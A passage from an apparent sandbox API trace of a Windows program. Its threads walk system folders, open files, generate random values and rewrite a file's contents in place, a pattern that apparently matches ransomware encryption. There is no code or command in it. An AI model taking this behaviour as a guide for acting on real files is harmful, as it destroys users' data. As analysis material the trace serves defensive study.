(normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60")) returned 0x20 [0136.875] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60", dwFileAttributes=0x20) returned 1 [0136.876] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dc8 [0136.876] GetFileSizeEx (in: hFile=0x1dc8, lpFileSize=0x320df8e0 | out: lpFileSize=0x320df8e0*=926) returned 1 [0136.876] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x39a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.876] ReadFile (in: hFile=0x1dc8, lpBuffer=0x320df860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x320df8a8, lpOverlapped=0x0 | out: lpBuffer=0x320df860*, lpNumberOfBytesRead=0x320df8a8*=0x4, lpOverlapped=0x0) returned 1 [0136.877] FlushFileBuffers (hFile=0x1dc8) returned 1 [0138.539] CloseHandle (hObject=0x1dc8) returned 1 [0138.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60", dwFileAttributes=0x20) returned 1 [0138.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202780b0) returned 1 Thread: id = 2004 os_tid = 0x1234 [0136.891] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60")) returned 0x20 [0136.891] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60", dwFileAttributes=0x20) returned 1 [0136.892] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dd0 [0136.892] GetFileSizeEx (in: hFile=0x1dd0, lpFileSize=0x321ef8c0 | out: lpFileSize=0x321ef8c0*=1026) returned 1 [0136.893] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x3fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.893] ReadFile (in: hFile=0x1dd0, lpBuffer=0x321ef840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x321ef888, lpOverlapped=0x0 | out: lpBuffer=0x321ef840*, lpNumberOfBytesRead=0x321ef888*=0x4, lpOverlapped=0x0) returned 1 [0136.894] FlushFileBuffers (hFile=0x1dd0) returned 1 [0138.539] CloseHandle (hObject=0x1dd0) returned 1 [0138.540] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60", dwFileAttributes=0x20) returned 1 [0138.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278fb0) returned 1 Thread: id = 2005 os_tid = 0x1238 [0136.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4205e0b0 [0136.932] wcscpy (in: _Dest=0x4205e0b0, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0136.932] wcscat (in: _Dest=0x4205e0b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0136.932] wcscat (in: _Dest=0x4205e0b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*" [0136.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62f00 [0136.933] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cf70 [0136.933] wcscmp (_String1=".", _String2=".") returned 0 [0136.933] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.933] wcscmp (_String1="..", _String2=".") returned 1 [0136.933] wcscmp (_String1="..", _String2="..") returned 0 [0136.933] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0136.933] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0136.934] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0136.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1b799430 [0136.934] wcscpy (in: _Dest=0x1b799430, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0136.934] wcscat (in: _Dest=0x1b799430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0136.934] wcscat (in: _Dest=0x1b799430, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0150.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc4 [0150.792] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0150.792] FindClose (in: hFindFile=0x1cd9cf70 | out: hFindFile=0x1cd9cf70) returned 1 [0150.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62f00) returned 1 [0150.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e0b0) returned 1 [0150.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202791f0) returned 1 Thread: id = 2006 os_tid = 0x123c [0136.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205069f0 [0136.946] wcscpy (in: _Dest=0x205069f0, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0136.946] wcscat (in: _Dest=0x205069f0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0136.946] wcscat (in: _Dest=0x205069f0, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*" [0136.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62c90 [0136.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c5b0 [0136.947] wcscmp (_String1=".", _String2=".") returned 0 [0136.947] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.947] wcscmp (_String1="..", _String2=".") returned 1 [0136.947] wcscmp (_String1="..", _String2="..") returned 0 [0136.947] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0136.947] FindClose (in: hFindFile=0x1cd9c5b0 | out: hFindFile=0x1cd9c5b0) returned 1 [0136.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62c90) returned 1 [0136.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205069f0) returned 1 [0136.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c3d0) returned 1 Thread: id = 2007 os_tid = 0x1240 [0136.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205069f0 [0136.969] wcscpy (in: _Dest=0x205069f0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0136.969] wcscat (in: _Dest=0x205069f0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0136.969] wcscat (in: _Dest=0x205069f0, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*" [0136.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62c90 [0136.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c5b0 [0136.970] wcscmp (_String1=".", _String2=".") returned 0 [0136.970] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.970] wcscmp (_String1="..", _String2=".") returned 1 [0136.970] wcscmp (_String1="..", _String2="..") returned 0 [0136.970] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0136.970] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0136.970] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0136.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x202792b0 [0136.971] wcscpy (in: _Dest=0x202792b0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0136.971] wcscat (in: _Dest=0x202792b0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0136.971] wcscat (in: _Dest=0x202792b0, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" [0150.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202792b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ddc [0150.795] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0150.795] FindClose (in: hFindFile=0x1cd9c5b0 | out: hFindFile=0x1cd9c5b0) returned 1 [0150.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62c90) returned 1 [0150.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205069f0) returned 1 [0150.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 Thread: id = 2008 os_tid = 0x1244 [0136.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml")) returned 0x20 [0136.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", dwFileAttributes=0x20) returned 1 [0136.975] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1de4 [0136.976] GetFileSizeEx (in: hFile=0x1de4, lpFileSize=0x31aff940 | out: lpFileSize=0x31aff940*=2578) returned 1 [0136.976] SetFilePointerEx (in: hFile=0x1de4, liDistanceToMove=0xa0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.976] ReadFile (in: hFile=0x1de4, lpBuffer=0x31aff8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31aff908, lpOverlapped=0x0 | out: lpBuffer=0x31aff8c0*, lpNumberOfBytesRead=0x31aff908*=0x4, lpOverlapped=0x0) returned 1 [0136.982] SetFilePointerEx (in: hFile=0x1de4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a110 [0136.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0136.982] NtQuerySystemTime (in: CurrentTime=0x31aff800 | out: CurrentTime=0x31aff800*=132462177422170000) returned 0x0 [0136.982] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0xb35539b [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x3c30780e [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x5724adbe [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x4e17183b [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x54bdfffc [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x12e2e4fc [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x4b9fd2f4 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x76ceed17 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x4c172e47 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x40d5fc6c [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x5e460ac7 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x5911e04e [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x41de86ea [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x4212cb01 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x4ce295fe [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x39224827 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x1f920b54 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x425b35da [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x18d7aada [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x40ada442 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x75213021 [0136.983] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x17dfb627 [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x3722cb3f [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x1dca2fbd [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x773be0e3 [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x5399114e [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x47bb33d7 [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x752bf334 [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0xe382269 [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x681a00d6 [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x1f3cc83c [0136.984] RtlRandomEx (in: Seed=0x31aff7f0 | out: Seed=0x31aff7f0) returned 0x88b687f [0136.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1a0 [0136.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0136.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20320910 [0136.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20324520 [0136.997] ReadFile (in: hFile=0x1de4, lpBuffer=0x20320910, nNumberOfBytesToRead=0xa12, lpNumberOfBytesRead=0x31aff7f0, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesRead=0x31aff7f0*=0xa12, lpOverlapped=0x0) returned 1 [0136.997] SetFilePointerEx (in: hFile=0x1de4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.997] WriteFile (hFile=0x1de4, lpBuffer=0x20324520, nNumberOfBytesToWrite=0xa12, lpNumberOfBytesWritten=0x31aff7f4, lpOverlapped=0x0) [0180.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7cb0 [0180.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bf0 [0180.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bf0) returned 1 [0180.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20324520) returned 1 [0180.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0180.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0180.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0180.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced7bf0 [0180.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0180.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0180.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0180.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced78c0) returned 1 [0180.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced78c0 [0180.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7350 [0180.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0180.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7170) returned 1 [0180.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 